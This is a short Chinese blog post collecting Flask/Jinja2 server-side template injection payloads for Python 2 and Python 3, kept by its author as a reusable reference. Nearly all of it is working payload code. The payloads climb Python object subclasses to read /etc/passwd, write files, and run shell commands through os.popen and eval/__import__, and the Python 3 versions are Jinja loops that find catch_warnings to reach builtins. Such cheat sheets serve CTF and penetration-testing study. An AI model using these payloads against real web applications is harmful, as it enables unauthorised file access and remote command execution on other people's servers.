flask模板注入payload——python2和python3

把模板注入的payload记录在这里,方便以后使用。

主要分为两类python2和python3

还有各种过滤和绕过

python2

文件操作

找到file类

[].class.bases[0].subclasses()[40]

payload:

#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

命令执行

os执行

[].class.bases[0].subclasses()[59].init.func_globals.linecache下有os类,可以直接执行命令

payload:

[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()

#eval,impoer等全局函数

[].class.bases[0].subclasses()[59].init.globals.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令

payload:

[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

python3

文件操作

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

命令执行

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

参考:https://xi4or0uji.github.io/2019/01/15/flask之ssti模板注入/

posted @ 2020-11-22 19:57  5gstudent  阅读(464)  评论(0)    收藏  举报